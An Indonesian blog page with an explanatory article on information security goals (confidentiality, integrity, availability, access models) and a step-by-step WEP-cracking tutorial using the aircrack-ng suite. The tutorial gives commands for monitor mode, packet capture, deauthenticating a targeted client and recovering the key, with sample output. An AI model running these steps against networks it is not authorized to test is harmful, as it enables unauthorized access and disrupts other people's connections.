Dhani Hartanto/stock.xchng
Sumber : Kompas.com
06.58 by Administrator · 0 komentar
05.11 by Administrator · 0 komentar
05.00 by Administrator · 0 komentar
Tujuan Dari Manajemen Keamanan Informasi
Manajer keamanan informasi harus membuat dan menjalankan inisiatif keamanan informasi yang memastikan tiga hal utama yaitu, confidentiality (kerahasiaan), integrity (integritas), dan availability (ketersediaan) system informasi perusahaan.
Confidentiality (Kerahasiaan)
Dapat diartikan sebagai perlindungan terhadap data dalam system informasi perusahaan, sehingga tidak dapat diakses oleh orang yang tidak berhak. Kerahasiaan harus terdefinisi dengan baik, dan prosedur untuk menjaga kerahasiaan harus diterapkan secara hati-hati, khususnya untuk computer yang bersifat standalone atau tidak terhububg ke jaringan. Aspek penting dari kerahasiaan adalah pengidentifikasian dan authentication terhadap user.
Ancaman terhadap kerahasiaan
1 . Hacker
Orang yang membobol pengendalian akses dari sebuah system, dengan Memanfaatkan kelemahan system tersebut. Segala aktifitas hacker merupakan Ancaman yang sangan serius terhadap kerahasiaan informasi dalam sebuah system Informasi.
2 . Masquerader
Seorang yang berhak mengakses system, tetapi telah memiliki password dari user Lain, sehingga dapat mengakses file yang tersedia untuk user lain tersebut.
3 . Aktifitas user yang tidak terotorisasi
Tipe aktifitas ini terjadi saat user yang berhak mengakses secara system memiliki Kemampuan mengakses file yang sebenarnya tidak berhak untuk mereka akses.
4 . Download file tanpa terproteksi
Melakukan download dapat mengancam kerahasiaan informasi apabila dalam Prosesnya dari dipindahkan dari tempat yang aman (dari server) ke personal Computer yang tidak terlindungi dengan baik, dalam rangka pemrosesan secara Local. Saat berada di personal computer tersebut, apabila tidak dijaga dengan baik .Maka informasi yang bersifat rahasia bias diakses oleh orang yang tidak berhak
5 . Local Area Network (LAN)
Khususnya untk tipe LAN yang masih menggunakan topologi bus (masih Menggunakan hub) maka ancaman terhadap kerahasiaan disebabkan oleh aliran Data yang dapat dilihat oleh setiap node dalam jaringan tersebut tanpa Mempedulikan apakah data dialamatkan ke node tersebut atau tidak.
6 . Trojan Horse
Program jahat ini dibuat agar menyalin file-file rahasia ke tempat yang tidak aman.
Tanpa diketahui oleh user yang berhak mengakses file tersebut.
Model-model kerahasiaan.
Model-model kerahasiaan sering digunakan untuk menjelaskan langkah apa saja yang perlu diambil untuk memastikan kerahasiaan informasi. Model yang sering digunakan adalah model Bell-LaPadula. Model ini mendefinisikan antara obyek (contohnya:file dan program untuk menampung kerahasiaan informasi) dan subyek (contohnya: orang, proses, atau alat yang melakukan perpindahan informasi antar obyek). Subyek dapat megakses untuk baca, tulis informasi. Subyek mempunyai hak tulis terhadap obyek yang berada di tingkat yang sama atau lebih tinggi dari subyek. Model ini disebut juga dengan flow model, karena memastikan bahwa informasi dalam tingkat keamanan tertentu hanya mengalir ke tingkat yang sama atau lebih tinggi. Tipe model yang lain adalah Model access control dimana mengorganisir sebuah system ke dalam obyek (contohnya : resource yang ditangani), subyek (contohnya : orang atau program yang melakukan aksi), dan operasi (contohnya : proses dari interaksi yang terjadi).
Penerapan model kerahasiaan
Trusted system criteria yang dikembangkan oleh National Computer Security Center dan dipublikasikan di dalam Department of Defense Trusted Computer System Evaluation Criteria (dikenal dengan Orange Book), merupakan panduan terbaik dalam menerapkan model kerahasiaan.
Integritas
adalah perlindungan terhadap data dalam system dari perubahan yang tidak terotorisasi, baik secara sengaja atau tidak.
Melindungi dari ancaman terhadap integritas
Tiga prinsip dasar yang digunakan untuk menerapkan pengendalian integritas :
Model Integritas
Digunakan untuk menjelaskan apa yang perlu dilakukan untuk menerapkan kebijaksanaan integritas informasi dalam suatu organisasi.
Sasaran integritas :
1. mencegah user yang tidak berhak melakukan perubahan data atau program
2. mencegah user yang berhak melakukan perubahan yang tidak benar atau tidak terotorisasi
3. menjaga konsistensi data dan program secara internal dan eksternal.
Ketersediaan
Sebagai kepastian bahwa sebuah system informasi dapat diakses oleh user yang berhak kapan saja system informasi tersebut dibutuhkan.
Ada dua pengganggu ketersediaan :
1.Denial off service
Istilah ini biasanya dihubungkan dengan sebuah perbuatan yang mengunci layanan dari sebuah system informasi sehingga tidak bias digunakan oleh user yang berhak.
2.Hilangnya pemrosesan data karena bencana alam atau perbuatan manusia.
Dapat ditanggulangi dengan menggunakan contingency plan yang dapat mengurangi waktu yang dibutuhkan untuk memulihkan kemampuan perosesan data saat terjadi bencana.
Banyak usaha yang sudah didesikasikan untuk mengatasi berbagai aspek dari masalah ketersediaan. Sebagai contoh : banyak riset yang dilakukan untuk mengembangkan teknologi yang kebih fault tolerance (contohnya : redundansi hardware, disk mirroring dan application check point restart).
04.55 by Administrator · 0 komentar
Aircrak-ptw adalah tool yang digunakan untuk meng-crack wireless yang diproteksi dengan WEP.Masing-masing notebook dengan spesifikasi berbeda, sehingga cara untuk menggunakan aircrack pun berbeda. Langkah-langkah untuk menggunakan aircrack-ptw untuk beberapa seri notebook adalah sebagai berikut:
Step 1 : Setting wireless card
$ sudo airmon-ng stop ath0
kemudian masukkan
$ iwconfig
Sistem harus merespon sebagai berikut :
Interface Chipset Driver
wifi0 Atheros madwifi-ng
ath0 Atheros madwifi-ng VAP (parent: wifi0) (monitor mode enabled)
Step 2 : Start wireless card
$ airmon-ng start wifi0
“9″ adalah channel yang digunakan, chanel ini bisa dilihat melalui kismet
respon sistem harus sebagai berikut:
Interface Chipset Driver
wifi0 Atheros madwifi-ng
ath0 Atheros madwifi-ng VAP (parent: wifi0) (monitor mode enabled)
kemudian masukkan
$ iwconfig
dan pastikan bahwa resppon sistem sebagai berikut
lo no wireless extensions.
wifi0 no wireless extensions.
eth0 no wireless extensions.
ath0 IEEE 802.11g ESSID:”” Nickname:””
Mode:Monitor Frequency:2.452 GHz Access Point: 00:0F:B5:88:AC:82
Bit Rate:0 kb/s Tx-Power:18 dBm Sensitivity=0/3
Retry:off RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality=0/94 Signal level=-95 dBm Noise level=-95 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0
Step 3 : Jalankan airodump-ng
airodump-ng digunakan untuk mengcapture paket dari akses point
$ sudo airodump-ng –channel X –write prefix_for_capture_file interface
misal
$ sudo airodump-ng –channel 3 –write tes ath0
“tes” dimaksudkan bahwa file yang dicapture akan ditulis pada file tes.cap (biasanya tes-01.cap), file .cap tersebut akan di create secara otomatis oleh airodump.
untuk mengetahui channel yang digunakan maka hilangkan channel pada command diatas
$ airodump-ng –write tes ath0
Step 4 : Deauthenticate Clients(optional)
tahap ini dilakukan jika client tidak memberikan ARP request, jadi harus memaksa client untuk men-generate ARP request.
$ sudo aireplay-ng –deauth 15 -a MAC_of_AP -c MAC_client yg_diserang
misal
$ sudo aireplay-ng –deauth 15 -a 00:12:17:A7:AF:E4 -c 00:0F:3D:57:FD:C0 ath0
* -a BSSID/Mac address akses point
* -c MAC Address client
* 15 jumlah paket yang dikirim
Step 5: jalankan aircrak-ptw untuk mengenerate WEP dari akses point.
$ sudo aircrack-ptw tes-01.cap
atau bisa juga menggunakan aircrack-ptw yang sudah dibuild dalam aircrack-ng
$ sudo aircrack-ng -z tes-01.cap -b mac_ssid
misal
$ sudo aircrack-ng -z tes-01.cap -b 00:xx:xx:xx:xx:xx
contoh output :
i $ sudo aircrack-ng -z tohack-01.cap -b 00:xx:xx:xx:xx:xx
Opening tohack-01.cap
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 261446 ivs.
Aircrack-ng 1.0 beta1
[00:00:00] Tested 81 keys (got 21872 IVs)
KB depth byte(vote)
0 1/ 3 00(28672) 58(27904) 03(26880) 2E(26880) 62(26880) 89(26880) 27(26112) 3F(26112) 0A(25856)
1 3/ 5 8C(27648) CD(27392) 9D(26624) FC(26624) 2B(26112) 87(26112) 14(25856) 77(25856) 7B(25856)
2 0/ 1 EF(31744) FC(29184) 12(28416) 92(27648) CE(27136) 1F(26624) 25(26368) DD(26368) 4C(26112)
3 1/ 6 43(28672) AE(28416) 41(28416) 07(28160) 2F(28160) B2(27392) 5E(26880) CD(26624) 2B(26368)
4 0/ 1 21(30976) 4B(27904) 84(27392) 21(26624) 83(26624) AD(26368) F1(26368) DA(26112) F6(26112)
KEY FOUND! [ 00:xD:EF:xx:xx ] ini adalah key atau password dari wireless network yang didapatkan
ACER 4920, OS:lINUX UBUNTU
Pada acer seri ini wireless card yang digunakan adalah wlan0, dan bukan dengan command ” $ sudo airmon-ng stop ath0″ tetapi
$ sudo airmon-ng start wlan0
untuk langkah selanjutnya sama dengan ACER 4520
BenQ S53W,OS LINUX UBUNTU
pada seri ini wireless card yang digunakan adalah eth 1, dan bukan dengan command “…stop eth1″ tetapi
$ airmon-ng start eth1
Selamat mencoba
Catatan : untuk mengetahui wireless yang digunakan gunakan command ” $ iwconfig ”
Source : http://opensource.telkomspeedy.com/wiki/index.php/Teknik_Menjebol_WEP_Menggunakan_Airodump_dan_Aircrack04.43 by Administrator · 0 komentar
Jakarta - Era globalisasi salah satunya ditandai dengan proses terintegrasinya perekonomian, masyarakat, dan budaya ke dalam suatu jaringan global melalui teknologi informasi04.01 by Administrator · 0 komentar
03.33 by Administrator · 0 komentar
Daftar sekarang untuk menerima berita dan mendengar apa yang baru dengan website kami!
Copyright © 2010 9 Info Online, All Rights Reserved | Redaksi | Karir | Kotak Pos | Info Iklan | Disclaimer · Converted into Blogger Template · By Blogger